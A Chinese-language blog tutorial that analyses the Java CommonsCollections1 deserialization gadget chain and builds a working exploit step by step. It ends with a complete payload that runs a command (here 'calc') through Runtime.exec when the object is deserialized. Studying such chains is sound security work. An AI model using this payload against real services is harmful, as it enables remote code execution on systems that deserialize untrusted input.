细致分析细致分析CommonsCollections1链及EXP构造思路

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Gh0st1nTheShel

发布于 2022-01-26 17:27:16

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找到利用链

依赖

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

CommonsCollections作用：commons-collections介绍 - codedot - 博客园 (cnblogs.com)

可以看到CommonsCollections是一个Java框架的增强工具，然而我们可以在里面找到可以利用的反序列化的链

在CommonsCollections中，这个InvokerTransformer是很好的利用点，首先此类继承了Serializable接口，导致可以反序列化，同时transform中使用反射调用了方法，而且所有的参数都可以控制，这就产生了命令执行的危害

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
            
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

总结

利用链

AnnotationInvocationHandler:readObject(){setValue()} -> AbstractInputCheckedMapDecorator:setValue(){checkSetValue()} -> TransformedMap:checkSetValue(){transform()} = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());

Payload

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("isSingleton", "test");
    Map<Object, Object> map = TransformedMap.decorate(hashMap, null, chainedTransformer);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
    AIHconstructor.setAccessible(true);
    Object obj = AIHconstructor.newInstance(AMXMetadata.class, map);

    //序列化与反序列化
    SerializeClass.Serialize(obj, "SerializeTest.bin");
    UnserializeClass.Unserialize("SerializeTest.bin");
}

详细思路分析

想找到利用链，先从尾部分析

首先先写出通过Runtime.exec命令执行的代码

正常情况下写法为

Runtime.getRuntime().exec("calc");

通过反射的写法

Class c = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = c.getMethod("getRuntime");
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

通过cc写法为

Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

测试代码正确后，我们从transform开始入手，找到可以利用的链

右键transform，查找用法，可以发现有21个用法(下载了cc源码的情况下，想要直接右键查找方法首先要先下载源码，cc的源码下载很简单，随便打开一个.class文件然后点击上方的下载源代码即可)，其中一个可以利用的点是在cc.map下的TransformedMap的checkSetValue方法，其实在TransformedMap中有很多方法都调用了transform方法，理论上如果链完整且参数可控的话都可以利用，这里就先拿一条案例作为说明

看到是checkSetValue方法的valueTransformer调用的transform

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

我们demo的语句是

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

所以我们首先要确定valueTransformer是可控的，可以赋值为new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})才可用

查看构造方法，发现为protect权限，被decorate调用

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

经过这样一分析，如果checkSetValue方法中，valueTransformer能够是我们的new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})，那么效果是一样的，刚好这个值可以通过初始化对象来构造，由于构造方法里面要传一个Map对象，于是我们初始化一个HashMap给它

此处hashmap要存放对象，因为后面要用到

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("test", "test");
Map<Object, Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);//由于我们只需要控制valueTransformer，所以keyTransformer就赋了个null

确定可以控制参数后，我们要继续查找链，看看哪个方法调用checkSetValue方法

查找用法checkSetValue方法，发现是在AbstractInputCheckedMapDecorator.java下的MapEntry类中调用，MapEntry的作用可以用来遍历Map，所以我们可以构造一个Map，这个Map的类型必须是通过TransformedMap生成的Map，这样entry才会调用AbstractInputCheckedMapDecorator下的entry

然后使用MapEntry进行遍历就会调用到setValue方法，也会调用到checkSetValue方法，不过在此之前要先给Map添加一个值以便遍历

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

至此，经过我们的分析，我们原本demo的代码可以写为

public static void main(String[] args) throws ClassNotFoundException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "aaa");
        Map<Object, Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);
        for(Map.Entry entry:map.entrySet()){
            entry.setValue(r);
        }
    }

运行代码后成功启动计算器，说明这条链是可以的，接下来我们要继续寻找入口点，最终目的是找到readObject()方法，运气很好的是，有一个类的readObject直接调用了setValue方法，在sun.reflect.annotation包中的AnnotationInvocationHandler类中，通过InvocationHandler可以知道这是动态代理

由于没有源码，所以要去openjdk中下载源码http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

如果jdk版本不同可能会显示字节码有差异，不过似乎问题不大

可以发现readObject中调用setValue也是在遍历数组的过程中

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

查看构造方法的传入参数类型，Annotation为注解类型，memberValues为map类型

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)

在实例化此类的过程中，由于类是Default权限，所以不能直接实例化对象，必须通过反射得到

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
AIHconstructor.setAccessible(true);
Object obj = AIHconstructor.newInstance(Override.class, map);

通过序列化AnnotationInvocationHandler才能触发里面的readObject方法，这个链才是完整的

到目前为止，我们已经找到了完整的利用链

AnnotationInvocationHandler:readObject(){setValue()} -> AbstractInputCheckedMapDecorator:setValue(){checkSetValue()} -> TransformedMap:checkSetValue(){transform()} = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());

代码如下

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "value");
        Map<Object, Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);
        
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
        AIHconstructor.setAccessible(true);
        Object AIH = AIHconstructor.newInstance(Target.class, map);
        
        test(AIH);//用于序列化和反序列化的自定义方法
    }

但是执行后并未调用计算器

这是因为如果要序列化则会出现两个问题：

1、Runtime类未继承Serializable接口，并不可以被序列化

2、我们的目标setValue是在AnnotationInvocationHandler类的readObject方法的if体中，且不可控，所以要达到条件才可以进入if体

if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }

对于第一点，我们要仿照

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

的写法来获取对象，首先先反射调用

Class c = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = c.getMethod("getRuntime");
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

通过transformer改写

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

测试后可以调用计算器，说明改写成功，于是乎我们可以像之前一样改写transform，但是这样过于繁琐，所以使用chainedtransform来代替，chainedtransform的作用就是连续调用transformers数组里面的transform方法，即transforms0.transform,transform1.transform...

Transformer[] transformers = new Transformer[]{
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

测试成功后就只需要修改一个transform即可

对于第二点，我们要弄清楚什么情况下才可以进入到if体里面，进入调试

在AnnotationInvocationHandler类中的440行开始

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);

首先会在我们传入的Map中获取key，然后在对应的注解查找是否有相应的参数

在这当中获取了注解的member类型，然而我们传入的Override是没有内容的，所以找不到对应的参数，会返回null

public @interface Override {
}

通过查看Annotation的实现类

就以第一个AMXMetadata为例子，点开

看到isSingleton，于是在map中传入isSingleton，然后将注解换为AMXMetadata

经过调试发现，成功进入了if体，但是并未成功执行命令，一步步调用查看

当执行checkSetValue方法时，步入transform方法

可以看到传入的iTransformers参数就是Transformer数组，然而Object是public abstract boolean com.sun.org.glassfish.gmbal.AMXMetadata.isSingleton()，即和我们设置map的内容相关

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

首先第一个就是

new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),

进入for循环，继续步入transform，可以看到反射获取了类和方法然而类是sun.reflect.annotation.AnnotationTypeMismatchExceptionProxy，方法是getMethod

这和我们设置的链是不一样的，所以自然抛出了没有此方法的错误

所以我们的目标是让Object传入的是Runtime

这时候又有一个Transformer叫ConstantTransformer，看一下它的构造方法

可以看到是传啥等于啥，transform方法就是直接把值给返回，所以如果我们在刚才的Transformer之前设置一个ConstantTransformer，并且传入Runtime，那么在反射获取类的时候就可以获得Runtime，

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

public Object transform(Object input) {
    return iConstant;
}

最终Payload

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("isSingleton", "test");
    Map<Object, Object> map = TransformedMap.decorate(hashMap, null, chainedTransformer);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
    AIHconstructor.setAccessible(true);
    Object obj = AIHconstructor.newInstance(AMXMetadata.class, map);

    //序列化与反序列化
    SerializeClass.Serialize(obj, "SerializeTest.bin");
    UnserializeClass.Unserialize("SerializeTest.bin");
}

重新回到

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

调用了ConstantTransformer的Transformer，返回了java.lang.Runtime，使得循环的object变为了Runtime

再继续进入transform，链就正常了

最后成功启动了计算器

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